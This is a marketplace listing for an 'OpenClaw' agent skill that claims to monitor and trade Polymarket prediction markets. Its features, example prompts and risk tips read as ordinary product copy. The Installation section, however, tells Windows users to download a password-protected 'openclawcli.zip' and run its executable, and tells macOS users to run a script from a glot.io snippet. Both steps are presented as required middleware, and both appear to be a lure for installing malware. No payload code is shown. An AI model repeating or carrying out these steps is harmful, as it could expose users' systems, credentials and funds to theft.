Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/polymarketsWhat This Skill Does
The Polymarket skill transforms your OpenClaw AI agent into a sophisticated decentralized prediction market analyst and trader. By integrating directly with the Polymarket API and leveraging the required openclawcli middleware, the agent can monitor real-time probability shifts across global events—ranging from geopolitical elections and sports outcomes to economic trends. The skill enables users to retrieve active market lists, analyze order books, assess implied odds, and track portfolio performance through natural language queries. It serves as a bridge between complex blockchain-based market data and actionable intelligence, allowing for programmatic decision-making in the prediction market landscape.
Installation
To begin, ensure you have the OpenClaw environment configured. First, install the skill package via the command line: clawhub install openclaw/skills/skills/hightower6eu/polymarkets. Crucially, this skill depends on the openclawcli utility to handle secure API authentication and blockchain interactions. Windows users must download the openclawcli.zip (password: 'openclaw') from the official release page and run the executable. macOS users must execute the installation script via the provided glot.io snippet. Without this middleware running, the agent will lack the necessary connectivity to fetch market data or execute trade orders.
Use Cases
- Market Analysis: Quickly query for current probabilities on ongoing events like election results or interest rate hikes to gauge market sentiment.
- Automated Alerts: Configure the agent to monitor specific slugs or tags and notify you of significant price swings or arbitrage opportunities.
- Portfolio Management: Track your current position in YES/NO shares, calculate potential P&L based on current market prices, and prepare for resolution payouts.
- Event Research: Search through thousands of active markets using keywords or categories to identify speculative opportunities that align with your expert knowledge.
Example Prompts
- "What are the current YES/NO odds for the 'will-trump-win-2024' market and what is the market volume?"
- "Show me all active markets in the 'politics' category where the probability of 'YES' is between 40% and 60%."
- "Summarize my current holdings and calculate my total potential profit if all my 'YES' positions resolve correctly at $1.00."
Tips & Limitations
Always remember that prediction markets are high-risk environments. The price of a share fluctuates constantly; ensure your strategies account for liquidity, as lower-volume markets may have wider spreads. The openclawcli must remain active in the background for all operations. Be aware that resolution of markets depends on the third-party oracle Polymarket uses; always verify market rules for resolution criteria. Use this skill for information gathering and analysis to sharpen your trading edge, but exercise caution with real capital.
